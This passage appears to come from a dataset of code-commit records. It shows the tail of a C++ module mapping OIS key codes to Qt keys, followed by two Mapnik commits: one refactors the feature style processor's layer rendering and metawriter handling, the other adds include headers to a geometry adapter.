converterMap_.insert(OIS::KC_DOWN, Qt::Key_Down);\r\n    converterMap_.insert(OIS::KC_PGUP, Qt::Key_PageUp);\r\n    converterMap_.insert(OIS::KC_PGDOWN, Qt::Key_PageDown);\r\n    converterMap_.insert(OIS::KC_LSHIFT, Qt::Key_Shift);\r\n    converterMap_.insert(OIS::KC_LCONTROL, Qt::Key_Control);\r\n    converterMap_.insert(OIS::KC_LWIN, Qt::Key_Meta);\r\n    converterMap_.insert(OIS::KC_LMENU, Qt::Key_Alt);\r\n    converterMap_.insert(OIS::KC_CAPITAL, Qt::Key_CapsLock);\r\n    converterMap_.insert(OIS::KC_NUMLOCK, Qt::Key_NumLock);\r\n    converterMap_.insert(OIS::KC_SCROLL, Qt::Key_ScrollLock);\r\n    converterMap_.insert(OIS::KC_F1, Qt::Key_F1);\r\n    converterMap_.insert(OIS::KC_F2, Qt::Key_F2);\r\n    converterMap_.insert(OIS::KC_F3, Qt::Key_F3);\r\n    converterMap_.insert(OIS::KC_F4, Qt::Key_F4);\r\n    converterMap_.insert(OIS::KC_F5, Qt::Key_F5);\r\n    converterMap_.insert(OIS::KC_F6, Qt::Key_F6);\r\n    converterMap_.insert(OIS::KC_F7, Qt::Key_F7);\r\n    converterMap_.insert(OIS::KC_F8, Qt::Key_F8);\r\n    converterMap_.insert(OIS::KC_F9, Qt::Key_F9);\r\n    converterMap_.insert(OIS::KC_F10, Qt::Key_F10);\r\n    converterMap_.insert(OIS::KC_F11, Qt::Key_F11);\r\n    converterMap_.insert(OIS::KC_F12, Qt::Key_F12);\r\n    converterMap_.insert(OIS::KC_F13, Qt::Key_F13);\r\n    converterMap_.insert(OIS::KC_F14, Qt::Key_F14);\r\n    converterMap_.insert(OIS::KC_F15, Qt::Key_F15);\r\n    converterMap_.insert(OIS::KC_APPS, Qt::Key_Menu);\r\n    converterMap_.insert(OIS::KC_SPACE, Qt::Key_Space);\r\n    converterMap_.insert(OIS::KC_APOSTROPHE, Qt::Key_Apostrophe);\r\n    converterMap_.insert(OIS::KC_MULTIPLY, Qt::Key_Asterisk);\r\n    converterMap_.insert(OIS::KC_ADD, Qt::Key_Plus);\r\n    converterMap_.insert(OIS::KC_COMMA, Qt::Key_Comma);\r\n    converterMap_.insert(OIS::KC_MINUS, Qt::Key_Minus);\r\n    converterMap_.insert(OIS::KC_PERIOD, Qt::Key_Period);\r\n    converterMap_.insert(OIS::KC_SLASH, Qt::Key_Slash);\r\n    converterMap_.insert(OIS::KC_0, Qt::Key_0);\r\n    converterMap_.insert(OIS::KC_1, Qt::Key_1);\r\n    converterMap_.insert(OIS::KC_2, Qt::Key_2);\r\n    converterMap_.insert(OIS::KC_3, Qt::Key_3); \r\n    converterMap_.insert(OIS::KC_4, Qt::Key_4);\r\n    converterMap_.insert(OIS::KC_5, Qt::Key_5);\r\n    converterMap_.insert(OIS::KC_6, Qt::Key_6);\r\n    converterMap_.insert(OIS::KC_7, Qt::Key_7);\r\n    converterMap_.insert(OIS::KC_8, Qt::Key_8);\r\n    converterMap_.insert(OIS::KC_9, Qt::Key_9);\r\n    converterMap_.insert(OIS::KC_COLON, Qt::Key_Colon);\r\n    converterMap_.insert(OIS::KC_SEMICOLON , Qt::Key_Semicolon);\r\n    converterMap_.insert(OIS::KC_EQUALS, Qt::Key_Equal);\r\n    converterMap_.insert(OIS::KC_AT , Qt::Key_At);\r\n    converterMap_.insert(OIS::KC_A , Qt::Key_A);\r\n    converterMap_.insert(OIS::KC_B , Qt::Key_B);\r\n    converterMap_.insert(OIS::KC_C , Qt::Key_C);\r\n    converterMap_.insert(OIS::KC_D , Qt::Key_D);\r\n    converterMap_.insert(OIS::KC_E , Qt::Key_E);\r\n    converterMap_.insert(OIS::KC_F , Qt::Key_F);\r\n    converterMap_.insert(OIS::KC_G , Qt::Key_G);\r\n    converterMap_.insert(OIS::KC_H , Qt::Key_H);\r\n    converterMap_.insert(OIS::KC_I , Qt::Key_I);\r\n    converterMap_.insert(OIS::KC_J , Qt::Key_J);\r\n    converterMap_.insert(OIS::KC_K , Qt::Key_K);\r\n    converterMap_.insert(OIS::KC_L , Qt::Key_L);\r\n    converterMap_.insert(OIS::KC_M , Qt::Key_M);\r\n    converterMap_.insert(OIS::KC_N , Qt::Key_N);\r\n    converterMap_.insert(OIS::KC_O , Qt::Key_O);\r\n    converterMap_.insert(OIS::KC_P , Qt::Key_P);\r\n    converterMap_.insert(OIS::KC_Q , Qt::Key_Q);\r\n    converterMap_.insert(OIS::KC_R , Qt::Key_R);\r\n    converterMap_.insert(OIS::KC_S , Qt::Key_S);\r\n    converterMap_.insert(OIS::KC_T , Qt::Key_T);\r\n    converterMap_.insert(OIS::KC_U , Qt::Key_U);\r\n    converterMap_.insert(OIS::KC_V , Qt::Key_V);\r\n    converterMap_.insert(OIS::KC_W , Qt::Key_W);\r\n    converterMap_.insert(OIS::KC_X , Qt::Key_X);\r\n    converterMap_.insert(OIS::KC_Y, Qt::Key_Y);\r\n    converterMap_.insert(OIS::KC_Z , Qt::Key_Z);\r\n    converterMap_.insert(OIS::KC_LBRACKET , Qt::Key_BracketLeft);\r\n}\r\n\r\n}\r\n\r\nextern \"C\" void POCO_LIBRARY_API SetProfiler(Foundation::Profiler *profiler);\r\nvoid SetProfiler(Foundation::Profiler *profiler)\r\n{\r\n    Foundation::ProfilerSection::SetProfiler(profiler);\r\n}\r\n\r\nusing namespace QtUI;\r\n\r\nPOCO_BEGIN_MANIFEST(Foundation::ModuleInterface)\r\n   POCO_EXPORT_CLASS(QtModule)\r\nPOCO_END_MANIFEST\r\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id$\n\n#ifndef FEATURE_STYLE_PROCESSOR_HPP\n#define FEATURE_STYLE_PROCESSOR_HPP\n\n\/\/ mapnik\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/layer.hpp>\n#include <mapnik\/map.hpp>\n#include <mapnik\/attribute_collector.hpp>\n#include <mapnik\/expression_evaluator.hpp>\n#include <mapnik\/utils.hpp>\n#include <mapnik\/projection.hpp>\n#include <mapnik\/scale_denominator.hpp>\n#include <mapnik\/memory_datasource.hpp>\n\n#ifdef MAPNIK_DEBUG\n\/\/#include <mapnik\/wall_clock_timer.hpp>\n#endif\n\/\/ boost\n#include <boost\/foreach.hpp>\n\/\/stl\n#include <vector>\n\nnamespace mapnik\n{     \n  \ntemplate <typename Processor>\nclass feature_style_processor \n{\n    \/** Calls the renderer's process function,\n      * \\param output     Renderer\n      * \\param f          Feature to process\n      * \\param prj_trans  Projection\n      * \\param sym        Symbolizer object\n      *\/\n    struct symbol_dispatch : public boost::static_visitor<>\n    {\n        symbol_dispatch (Processor & output,\n                         Feature const& f, \n                         proj_transform const& prj_trans)\n            : output_(output),\n              f_(f),\n              prj_trans_(prj_trans)  {}\n            \n        template <typename T>\n        void operator () (T const& sym) const\n        {\n            output_.process(sym,f_,prj_trans_);\n        }\n               \n        Processor & output_;\n        Feature const& f_;\n        proj_transform const& prj_trans_;\n    };\npublic:\n    explicit feature_style_processor(Map const& m, double scale_factor = 1.0)\n        : m_(m),\n          scale_factor_(scale_factor) {}\n    \n    void apply()\n    {\n#ifdef MAPNIK_DEBUG           \n        \/\/mapnik::wall_clock_progress_timer t(std::clog, \"map rendering took: \");\n#endif          \n        Processor & p = static_cast<Processor&>(*this);\n        p.start_map_processing(m_);\n                       \n        try\n        {\n            projection proj(m_.srs()); \/\/ map projection\n\n            Map::const_metawriter_iterator metaItr = m_.begin_metawriters();\n            Map::const_metawriter_iterator metaItrEnd = m_.end_metawriters();\n            for (;metaItr!=metaItrEnd; ++metaItr)\n            {\n                metaItr->second->set_size(m_.width(), m_.height());\n                metaItr->second->set_map_srs(proj);\n                metaItr->second->start(m_.metawriter_output_properties);\n            }\n\n            double scale_denom = mapnik::scale_denominator(m_,proj.is_geographic());\n            scale_denom *= scale_factor_;\n#ifdef MAPNIK_DEBUG\n            std::clog << \"scale denominator = \" << scale_denom << \"\\n\";\n#endif\n            BOOST_FOREACH ( layer const& lyr, m_.layers() )\n            {\n                if (lyr.isVisible(scale_denom))\n                {\n                    apply_to_layer(lyr, p, proj, scale_denom);\n                }\n            }\n\n            metaItr = m_.begin_metawriters();\n            for (;metaItr!=metaItrEnd; ++metaItr)\n            {\n                metaItr->second->stop();\n            }\n        }\n        catch (proj_init_error& ex)\n        {\n            std::clog << \"proj_init_error:\" << ex.what() << \"\\n\"; \n        }\n        \n        p.end_map_processing(m_);\n    }   \nprivate:\n    void apply_to_layer(layer const& lay, Processor & p, \n                        projection const& proj0, double scale_denom)\n    {\n#ifdef MAPNIK_DEBUG\n        \/\/wall_clock_progress_timer timer(clog, \"end layer rendering: \");\n#endif\n\n        std::vector<std::string> const& style_names = lay.styles();\n        \n        unsigned int num_styles = style_names.size();\n        if (!num_styles)\n            return;\n        \n        mapnik::datasource_ptr ds = lay.datasource();\n        if (!ds) \n        {\n            std::clog << \"WARNING: No datasource for layer '\" << lay.name() << \"'\\n\";\n            return;\n        }\n        \n        p.start_layer_processing(lay);\n        \n        if (ds)\n        {\n            \n            projection proj1(lay.srs());\n            proj_transform prj_trans(proj0,proj1);\n\n            \/\/ todo: only display raster if src and dest proj are matched\n            \/\/ todo: add raster re-projection as an optional feature \n            if (ds->type() == datasource::Raster && !prj_trans.equal())\n            {\n                std::clog << \"WARNING: Map srs does not match layer srs, skipping raster layer '\" << lay.name() \n                    << \"' as raster re-projection is not currently supported (http:\/\/trac.mapnik.org\/ticket\/663)\\n\"\n                    << \"map srs: '\" << m_.srs() << \"'\\nlayer srs: '\" << lay.srs() << \"' \\n\";       \n                return;\n            }\n            \n            box2d<double> map_ext = m_.get_buffered_extent();\n\n            \/\/ clip buffered extent by maximum extent, if supplied\n            boost::optional<box2d<double> > const& maximum_extent = m_.maximum_extent();\n            if (maximum_extent) {\n                map_ext.clip(*maximum_extent);\n            }\n            \n            box2d<double> layer_ext = lay.envelope();\n               \n            \/\/ first, try to forward project map ext into layer srs\n            if (prj_trans.forward(map_ext) && map_ext.intersects(layer_ext))\n             {\n                layer_ext.clip(map_ext);\n            } \n            \/\/ fallback to back projecting layer into map srs\n            else if (prj_trans.backward(layer_ext) && map_ext.intersects(map_ext))\n            {\n                layer_ext.clip(map_ext);\n                \/\/ forward project layer extent back into native projection\n                if (!prj_trans.forward(layer_ext))\n                    std::clog << \"WARNING: layer \" << lay.name()\n                      << \" extent \" << layer_ext << \" in map projection \"\n                      << \" did not reproject properly back to layer projection\\n\";\n            }\n            else\n            {\n                 \/\/ if no intersection then nothing to do for layer\n                 return;\n            }\n                        \n            query::resolution_type res(m_.width()\/m_.get_current_extent().width(),\n                                       m_.height()\/m_.get_current_extent().height());\n            query q(layer_ext,res,scale_denom); \/\/BBOX query\n                           \n            std::vector<feature_type_style*> active_styles;\n            std::set<std::string> names;\n            attribute_collector collector(names);\n            double filt_factor = 1;\n            directive_collector d_collector(&filt_factor);\n            \n            \/\/ iterate through all named styles collecting active styles and attribute names\n            BOOST_FOREACH(std::string const& style_name, style_names)\n            {\n                boost::optional<feature_type_style const&> style=m_.find_style(style_name);\n                if (!style) \n                {\n                    std::clog << \"WARNING: style '\" << style_name << \"' required for layer '\"\n                        << lay.name() << \"' does not exist.\\n\";\n                    continue;\n                }\n                \n                const std::vector<rule>& rules=(*style).get_rules();\n                bool active_rules=false;\n                \n                BOOST_FOREACH(rule const& r, rules)\n                {\n                    if (r.active(scale_denom))\n                    {\n                        active_rules = true;\n                        if (ds->type() == datasource::Vector)\n                        {\n                            collector(r);\n                        }\n                        \/\/ TODO - in the future rasters should be able to be filtered.\n                    }\n                }\n                if (active_rules)\n                {\n                    active_styles.push_back(const_cast<feature_type_style*>(&(*style)));\n                }\n            }\n            \n            \/\/ push all property names\n            BOOST_FOREACH(std::string const& name, names)\n            {\n                q.add_property_name(name);\n            }\n            \n            memory_datasource cache;\n            bool cache_features = lay.cache_features() && num_styles>1?true:false;\n            bool first = true;\n            \n            BOOST_FOREACH (feature_type_style * style, active_styles)\n            {\n                std::vector<rule*> if_rules;\n                std::vector<rule*> else_rules;\n\n                std::vector<rule> const& rules=style->get_rules();\n                \n                BOOST_FOREACH(rule const& r, rules)\n                {\n                    if (r.active(scale_denom))\n                    {\n                        if (r.has_else_filter())\n                        {\n                            else_rules.push_back(const_cast<rule*>(&r));\n                        }\n                        else\n                        {\n                            if_rules.push_back(const_cast<rule*>(&r));\n                        }\n                        \n                        if ( (ds->type() == datasource::Raster) &&\n                             (ds->params().get<double>(\"filter_factor\",0.0) == 0.0) )\n                        {\n                            rule::symbolizers const& symbols = r.get_symbolizers();\n                            rule::symbolizers::const_iterator symIter = symbols.begin();\n                            rule::symbolizers::const_iterator symEnd = symbols.end();\n                            while (symIter != symEnd)\n                            {\n                                \/\/ if multiple raster symbolizers, last will be respected\n                                \/\/ should we warn or throw?\n                                boost::apply_visitor(d_collector,*symIter++);\n                            }\n                            q.set_filter_factor(filt_factor);\n                        }\n                    }\n                }\n                \n                \/\/ process features\n                featureset_ptr fs;\n                if (first)\n                {\n                    if (cache_features)\n                        first = false;\n                    fs = ds->features(q);\n                }\n                else\n                {\n                    fs = cache.features(q);\n                }\n                \n                if (fs)\n                {               \n                    feature_ptr feature;\n                    while ((feature = fs->next()))\n                    {                  \n                        bool do_else=true;\n                        \n                        if (cache_features)\n                        {\n                            cache.push(feature);\n                        }\n                        \n                        BOOST_FOREACH(rule * r, if_rules )\n                        {\n                            expression_ptr const& expr=r->get_filter();    \n                            value_type result = boost::apply_visitor(evaluate<Feature,value_type>(*feature),*expr);\n                            if (result.to_bool())\n                            {   \n                                do_else=false;\n                                rule::symbolizers const& symbols = r->get_symbolizers();\n\n                                \/\/ if the underlying renderer is not able to process the complete set of symbolizers,\n                                \/\/ process one by one.\n#ifdef SVG_RENDERER\n                                if(!p.process(symbols,*feature,prj_trans))\n#endif\n                                {\n\n                                    BOOST_FOREACH (symbolizer const& sym, symbols)\n                                    {   \n                                        boost::apply_visitor(symbol_dispatch(p,*feature,prj_trans),sym);\n                                    }\n                                }\n                                if (style->get_filter_mode() == FILTER_FIRST)\n                                {\n                                    \/\/ Stop iterating over rules and proceed with next feature.\n                                    break;\n                                }\n                            }\n                        }\n                        if (do_else)\n                        {\n                            BOOST_FOREACH( rule * r, else_rules )\n                            {\n                                rule::symbolizers const& symbols = r->get_symbolizers();\n                                \/\/ if the underlying renderer is not able to process the complete set of symbolizers,\n                                \/\/ process one by one.\n#ifdef SVG_RENDERER\n                                if(!p.process(symbols,*feature,prj_trans))\n#endif\n                                {\n                                    BOOST_FOREACH (symbolizer const& sym, symbols)\n                                    {\n                                        boost::apply_visitor(symbol_dispatch(p,*feature,prj_trans),sym);\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                cache_features = false;\n            }\n        }\n        \n        p.end_layer_processing(lay);\n    } \n    \n    Map const& m_;\n    double scale_factor_;\n};\n}\n\n#endif \/\/FEATURE_STYLE_PROCESSOR_HPP\n<commit_msg>refactor feature_style_processor a bit to allow passing reference of names as arg apply_to_layer. Will set up for more potential flexibility around passing pre-populated query names.<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id$\n\n#ifndef FEATURE_STYLE_PROCESSOR_HPP\n#define FEATURE_STYLE_PROCESSOR_HPP\n\n\/\/ mapnik\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/layer.hpp>\n#include <mapnik\/map.hpp>\n#include <mapnik\/attribute_collector.hpp>\n#include <mapnik\/expression_evaluator.hpp>\n#include <mapnik\/utils.hpp>\n#include <mapnik\/projection.hpp>\n#include <mapnik\/scale_denominator.hpp>\n#include <mapnik\/memory_datasource.hpp>\n\n#ifdef MAPNIK_DEBUG\n\/\/#include <mapnik\/wall_clock_timer.hpp>\n#endif\n\/\/ boost\n#include <boost\/foreach.hpp>\n\/\/stl\n#include <vector>\n\nnamespace mapnik\n{     \n  \ntemplate <typename Processor>\nclass feature_style_processor \n{\n    \/** Calls the renderer's process function,\n      * \\param output     Renderer\n      * \\param f          Feature to process\n      * \\param prj_trans  Projection\n      * \\param sym        Symbolizer object\n      *\/\n    struct symbol_dispatch : public boost::static_visitor<>\n    {\n        symbol_dispatch (Processor & output,\n                         Feature const& f, \n                         proj_transform const& prj_trans)\n            : output_(output),\n              f_(f),\n              prj_trans_(prj_trans)  {}\n            \n        template <typename T>\n        void operator () (T const& sym) const\n        {\n            output_.process(sym,f_,prj_trans_);\n        }\n               \n        Processor & output_;\n        Feature const& f_;\n        proj_transform const& prj_trans_;\n    };\n\npublic:\n\n    explicit feature_style_processor(Map const& m, double scale_factor = 1.0)\n        : m_(m),\n          scale_factor_(scale_factor) {}\n\n    \/*!\n     * @return apply renderer to all maps layers.\n     *\/\n    void apply()\n    {\n#ifdef MAPNIK_DEBUG           \n        \/\/mapnik::wall_clock_progress_timer t(std::clog, \"map rendering took: \");\n#endif          \n        Processor & p = static_cast<Processor&>(*this);\n        p.start_map_processing(m_);\n                       \n        try\n        {\n            projection proj(m_.srs());\n\n            start_metawriters(m_,proj);\n\n            double scale_denom = mapnik::scale_denominator(m_,proj.is_geographic());\n            scale_denom *= scale_factor_;\n#ifdef MAPNIK_DEBUG\n            std::clog << \"scale denominator = \" << scale_denom << \"\\n\";\n#endif\n            BOOST_FOREACH ( layer const& lyr, m_.layers() )\n            {\n                if (lyr.isVisible(scale_denom))\n                {\n                    std::set<std::string> names;\n                    apply_to_layer(lyr, p, proj, scale_denom, names);\n                }\n            }\n\n            stop_metawriters(m_);\n        }\n        catch (proj_init_error& ex)\n        {\n            std::clog << \"proj_init_error:\" << ex.what() << \"\\n\"; \n        }\n        \n        p.end_map_processing(m_);\n    }   \n\nprivate:\n    \/*!\n     * @return initialize metawriters for a given map and projection.\n     *\/\n    void start_metawriters(Map const& m_, projection const& proj)\n    {\n        Map::const_metawriter_iterator metaItr = m_.begin_metawriters();\n        Map::const_metawriter_iterator metaItrEnd = m_.end_metawriters();\n        for (;metaItr!=metaItrEnd; ++metaItr)\n        {\n            metaItr->second->set_size(m_.width(), m_.height());\n            metaItr->second->set_map_srs(proj);\n            metaItr->second->start(m_.metawriter_output_properties);\n        }\n    }\n    \/*!\n     * @return stop metawriters that were previously initialized.\n     *\/\n    void stop_metawriters(Map const& m_)\n    {\n        Map::const_metawriter_iterator metaItr = m_.begin_metawriters();\n        Map::const_metawriter_iterator metaItrEnd = m_.end_metawriters();\n        for (;metaItr!=metaItrEnd; ++metaItr)\n        {\n            metaItr->second->stop();\n        }\n    }\n\n    \/*!\n     * @return render a layer given a projection and scale\n     *\/\n    void apply_to_layer(layer const& lay, Processor & p, \n                        projection const& proj0,\n                        double scale_denom,\n                        std::set<std::string>& names)\n    {\n#ifdef MAPNIK_DEBUG\n        \/\/wall_clock_progress_timer timer(clog, \"end layer rendering: \");\n#endif\n\n        std::vector<std::string> const& style_names = lay.styles();\n        \n        unsigned int num_styles = style_names.size();\n        if (!num_styles)\n            return;\n        \n        mapnik::datasource_ptr ds = lay.datasource();\n        if (!ds) \n        {\n            std::clog << \"WARNING: No datasource for layer '\" << lay.name() << \"'\\n\";\n            return;\n        }\n        \n        p.start_layer_processing(lay);\n        \n        if (ds)\n        {\n            \n            projection proj1(lay.srs());\n            proj_transform prj_trans(proj0,proj1);\n\n            \/\/ todo: only display raster if src and dest proj are matched\n            \/\/ todo: add raster re-projection as an optional feature \n            if (ds->type() == datasource::Raster && !prj_trans.equal())\n            {\n                std::clog << \"WARNING: Map srs does not match layer srs, skipping raster layer '\" << lay.name() \n                    << \"' as raster re-projection is not currently supported (http:\/\/trac.mapnik.org\/ticket\/663)\\n\"\n                    << \"map srs: '\" << m_.srs() << \"'\\nlayer srs: '\" << lay.srs() << \"' \\n\";       \n                return;\n            }\n            \n            box2d<double> map_ext = m_.get_buffered_extent();\n\n            \/\/ clip buffered extent by maximum extent, if supplied\n            boost::optional<box2d<double> > const& maximum_extent = m_.maximum_extent();\n            if (maximum_extent) {\n                map_ext.clip(*maximum_extent);\n            }\n            \n            box2d<double> layer_ext = lay.envelope();\n               \n            \/\/ first, try to forward project map ext into layer srs\n            if (prj_trans.forward(map_ext) && map_ext.intersects(layer_ext))\n             {\n                layer_ext.clip(map_ext);\n            } \n            \/\/ fallback to back projecting layer into map srs\n            else if (prj_trans.backward(layer_ext) && map_ext.intersects(map_ext))\n            {\n                layer_ext.clip(map_ext);\n                \/\/ forward project layer extent back into native projection\n                if (!prj_trans.forward(layer_ext))\n                    std::clog << \"WARNING: layer \" << lay.name()\n                      << \" extent \" << layer_ext << \" in map projection \"\n                      << \" did not reproject properly back to layer projection\\n\";\n            }\n            else\n            {\n                 \/\/ if no intersection then nothing to do for layer\n                 return;\n            }\n                        \n            query::resolution_type res(m_.width()\/m_.get_current_extent().width(),\n                                       m_.height()\/m_.get_current_extent().height());\n            query q(layer_ext,res,scale_denom); \/\/BBOX query\n                           \n            std::vector<feature_type_style*> active_styles;\n            attribute_collector collector(names);\n            double filt_factor = 1;\n            directive_collector d_collector(&filt_factor);\n            \n            \/\/ iterate through all named styles collecting active styles and attribute names\n            BOOST_FOREACH(std::string const& style_name, style_names)\n            {\n                boost::optional<feature_type_style const&> style=m_.find_style(style_name);\n                if (!style) \n                {\n                    std::clog << \"WARNING: style '\" << style_name << \"' required for layer '\"\n                        << lay.name() << \"' does not exist.\\n\";\n                    continue;\n                }\n                \n                const std::vector<rule>& rules=(*style).get_rules();\n                bool active_rules=false;\n                \n                BOOST_FOREACH(rule const& r, rules)\n                {\n                    if (r.active(scale_denom))\n                    {\n                        active_rules = true;\n                        if (ds->type() == datasource::Vector)\n                        {\n                            collector(r);\n                        }\n                        \/\/ TODO - in the future rasters should be able to be filtered.\n                    }\n                }\n                if (active_rules)\n                {\n                    active_styles.push_back(const_cast<feature_type_style*>(&(*style)));\n                }\n            }\n            \n            \/\/ push all property names\n            BOOST_FOREACH(std::string const& name, names)\n            {\n                q.add_property_name(name);\n            }\n            \n            memory_datasource cache;\n            bool cache_features = lay.cache_features() && num_styles>1?true:false;\n            bool first = true;\n            \n            BOOST_FOREACH (feature_type_style * style, active_styles)\n            {\n                std::vector<rule*> if_rules;\n                std::vector<rule*> else_rules;\n\n                std::vector<rule> const& rules=style->get_rules();\n                \n                BOOST_FOREACH(rule const& r, rules)\n                {\n                    if (r.active(scale_denom))\n                    {\n                        if (r.has_else_filter())\n                        {\n                            else_rules.push_back(const_cast<rule*>(&r));\n                        }\n                        else\n                        {\n                            if_rules.push_back(const_cast<rule*>(&r));\n                        }\n                        \n                        if ( (ds->type() == datasource::Raster) &&\n                             (ds->params().get<double>(\"filter_factor\",0.0) == 0.0) )\n                        {\n                            rule::symbolizers const& symbols = r.get_symbolizers();\n                            rule::symbolizers::const_iterator symIter = symbols.begin();\n                            rule::symbolizers::const_iterator symEnd = symbols.end();\n                            while (symIter != symEnd)\n                            {\n                                \/\/ if multiple raster symbolizers, last will be respected\n                                \/\/ should we warn or throw?\n                                boost::apply_visitor(d_collector,*symIter++);\n                            }\n                            q.set_filter_factor(filt_factor);\n                        }\n                    }\n                }\n                \n                \/\/ process features\n                featureset_ptr fs;\n                if (first)\n                {\n                    if (cache_features)\n                        first = false;\n                    fs = ds->features(q);\n                }\n                else\n                {\n                    fs = cache.features(q);\n                }\n                \n                if (fs)\n                {               \n                    feature_ptr feature;\n                    while ((feature = fs->next()))\n                    {                  \n                        bool do_else=true;\n                        \n                        if (cache_features)\n                        {\n                            cache.push(feature);\n                        }\n                        \n                        BOOST_FOREACH(rule * r, if_rules )\n                        {\n                            expression_ptr const& expr=r->get_filter();    \n                            value_type result = boost::apply_visitor(evaluate<Feature,value_type>(*feature),*expr);\n                            if (result.to_bool())\n                            {   \n                                do_else=false;\n                                rule::symbolizers const& symbols = r->get_symbolizers();\n\n                                \/\/ if the underlying renderer is not able to process the complete set of symbolizers,\n                                \/\/ process one by one.\n#ifdef SVG_RENDERER\n                                if(!p.process(symbols,*feature,prj_trans))\n#endif\n                                {\n\n                                    BOOST_FOREACH (symbolizer const& sym, symbols)\n                                    {   \n                                        boost::apply_visitor(symbol_dispatch(p,*feature,prj_trans),sym);\n                                    }\n                                }\n                                if (style->get_filter_mode() == FILTER_FIRST)\n                                {\n                                    \/\/ Stop iterating over rules and proceed with next feature.\n                                    break;\n                                }\n                            }\n                        }\n                        if (do_else)\n                        {\n                            BOOST_FOREACH( rule * r, else_rules )\n                            {\n                                rule::symbolizers const& symbols = r->get_symbolizers();\n                                \/\/ if the underlying renderer is not able to process the complete set of symbolizers,\n                                \/\/ process one by one.\n#ifdef SVG_RENDERER\n                                if(!p.process(symbols,*feature,prj_trans))\n#endif\n                                {\n                                    BOOST_FOREACH (symbolizer const& sym, symbols)\n                                    {\n                                        boost::apply_visitor(symbol_dispatch(p,*feature,prj_trans),sym);\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                cache_features = false;\n            }\n        }\n        \n        p.end_layer_processing(lay);\n    } \n    \n    Map const& m_;\n    double scale_factor_;\n};\n}\n\n#endif \/\/FEATURE_STYLE_PROCESSOR_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\n#ifndef MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n#define MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n\nBOOST_FUSION_ADAPT_STRUCT(\n    mapnik::geometry::point,\n    (double, x)\n    (double, y)\n)\n\nBOOST_FUSION_ADAPT_STRUCT(\n    mapnik::geometry::polygon,\n    (mapnik::geometry::linear_ring const&, exterior_ring)\n    (std::vector<mapnik::geometry::linear_ring> const& , interior_rings))\n\n#endif \/\/ MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n<commit_msg>add headers detected as needed by include-what-you-use<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\n#ifndef MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n#define MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n\n#include <mapnik\/geometry.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <vector>\n\nBOOST_FUSION_ADAPT_STRUCT(\n    mapnik::geometry::point,\n    (double, x)\n    (double, y)\n)\n\nBOOST_FUSION_ADAPT_STRUCT(\n    mapnik::geometry::polygon,\n    (mapnik::geometry::linear_ring const&, exterior_ring)\n    (std::vector<mapnik::geometry::linear_ring> const& , interior_rings))\n\n#endif \/\/ MAPNIK_GEOMETRY_FUSION_ADAPTED_HPP\n<|endoftext|>"}
